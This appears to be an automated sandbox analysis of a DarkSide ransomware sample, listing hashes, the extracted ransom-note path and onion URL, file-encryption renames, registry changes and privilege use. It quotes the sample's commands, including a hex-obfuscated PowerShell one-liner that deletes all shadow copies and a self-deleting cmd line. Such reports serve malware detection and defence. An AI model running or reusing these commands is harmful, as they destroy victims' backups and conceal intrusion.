Analysis
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max time kernel
70s -
max time network
110s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
16-05-2021 21:21
Static task
static1
Behavioral task
behavioral1
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win10v20210410
General
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Target
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
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Size
5.9MB
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MD5
794c5aa1b0e1f9cf2fc7fe5f22117c3f
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SHA1
1821fe210298b1d22b25f1a544abcfe092999ff7
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SHA256
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
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SHA512
28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 18 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\RedoRemove.tiff 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\RedoRemove.tiff => C:\Users\Admin\Pictures\RedoRemove.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\RedoRemove.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\ResizeUndo.crw => C:\Users\Admin\Pictures\ResizeUndo.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ResizeUndo.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\AssertSave.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\MountSplit.tif => C:\Users\Admin\Pictures\MountSplit.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\MountSplit.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\RepairResize.tif => C:\Users\Admin\Pictures\RepairResize.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\OutRead.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\RepairResize.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\ResolveCheckpoint.png => C:\Users\Admin\Pictures\ResolveCheckpoint.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ResolveCheckpoint.png.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\AssertSave.tif => C:\Users\Admin\Pictures\AssertSave.tif.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\GrantSplit.tiff 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\GrantSplit.tiff => C:\Users\Admin\Pictures\GrantSplit.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\GrantSplit.tiff.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\OutRead.crw => C:\Users\Admin\Pictures\OutRead.crw.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Processes:
resource yara_rule behavioral2/memory/1824-130-0x0000000001290000-0x0000000001C38000-memory.dmp vmprotect -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Modifies registry class 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exepid process 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 868 powershell.exe 868 powershell.exe 868 powershell.exe 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSecurityPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeTakeOwnershipPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeLoadDriverPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemProfilePrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemtimePrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeProfSingleProcessPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeIncBasePriorityPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeCreatePagefilePrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeBackupPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRestorePrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeShutdownPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemEnvironmentPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRemoteShutdownPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeUndockPrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeManageVolumePrivilege 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 33 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 34 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 35 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 36 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 868 powershell.exe Token: SeBackupPrivilege 728 vssvc.exe Token: SeRestorePrivilege 728 vssvc.exe Token: SeAuditPrivilege 728 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription pid process target process PID 1824 wrote to memory of 868 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 1824 wrote to memory of 868 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 1824 wrote to memory of 4912 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 1824 wrote to memory of 4912 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 1824 wrote to memory of 4912 1824 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
88c4a0b0f7daa8c9e64298e9c49d0ff2
SHA102d878f60f1fc94e559bd5da4b0e541361736910
SHA256ea8219b8115f267ce66fe2f096cdc6d4c7b8960011bb0a794f1fc17080bf00fc
SHA5121cc7c35df425389b2c1ab9e33159e7e67d6aff38768780a770fbd3ebf1ff6e5fbcf0fa8e68417b5a52a2bce23699f55923b2589e2459dce335686b999f3404d2
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memory/868-132-0x0000000000000000-mapping.dmp
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memory/868-155-0x000001F027D56000-0x000001F027D58000-memory.dmpFilesize
8KB
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memory/868-146-0x000001F027D53000-0x000001F027D55000-memory.dmpFilesize
8KB
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memory/868-145-0x000001F027D50000-0x000001F027D52000-memory.dmpFilesize
8KB
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memory/868-144-0x000001F028990000-0x000001F028991000-memory.dmpFilesize
4KB
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memory/868-140-0x000001F0287E0000-0x000001F0287E1000-memory.dmpFilesize
4KB
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memory/1824-120-0x0000000003350000-0x0000000003351000-memory.dmpFilesize
4KB
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memory/1824-122-0x0000000003370000-0x0000000003371000-memory.dmpFilesize
4KB
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memory/1824-124-0x0000000003390000-0x0000000003391000-memory.dmpFilesize
4KB
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memory/1824-125-0x00000000033A0000-0x00000000033A1000-memory.dmpFilesize
4KB
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memory/1824-126-0x00000000033B0000-0x00000000033B1000-memory.dmpFilesize
4KB
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memory/1824-127-0x00000000033C0000-0x00000000033C1000-memory.dmpFilesize
4KB
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memory/1824-128-0x00000000033D0000-0x00000000033D1000-memory.dmpFilesize
4KB
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memory/1824-129-0x00000000033E0000-0x00000000033E1000-memory.dmpFilesize
4KB
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memory/1824-130-0x0000000001290000-0x0000000001C38000-memory.dmpFilesize
9.7MB
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memory/1824-123-0x0000000003380000-0x0000000003381000-memory.dmpFilesize
4KB
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memory/1824-121-0x0000000003360000-0x0000000003361000-memory.dmpFilesize
4KB
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memory/1824-114-0x0000000000F30000-0x0000000000F31000-memory.dmpFilesize
4KB
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memory/1824-119-0x0000000003340000-0x0000000003341000-memory.dmpFilesize
4KB
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memory/1824-118-0x0000000001280000-0x0000000001281000-memory.dmpFilesize
4KB
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memory/1824-117-0x0000000000FE0000-0x0000000000FE1000-memory.dmpFilesize
4KB
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memory/1824-116-0x0000000000F50000-0x0000000000F51000-memory.dmpFilesize
4KB
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memory/1824-115-0x0000000000F40000-0x0000000000F41000-memory.dmpFilesize
4KB
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memory/4912-163-0x0000000000000000-mapping.dmp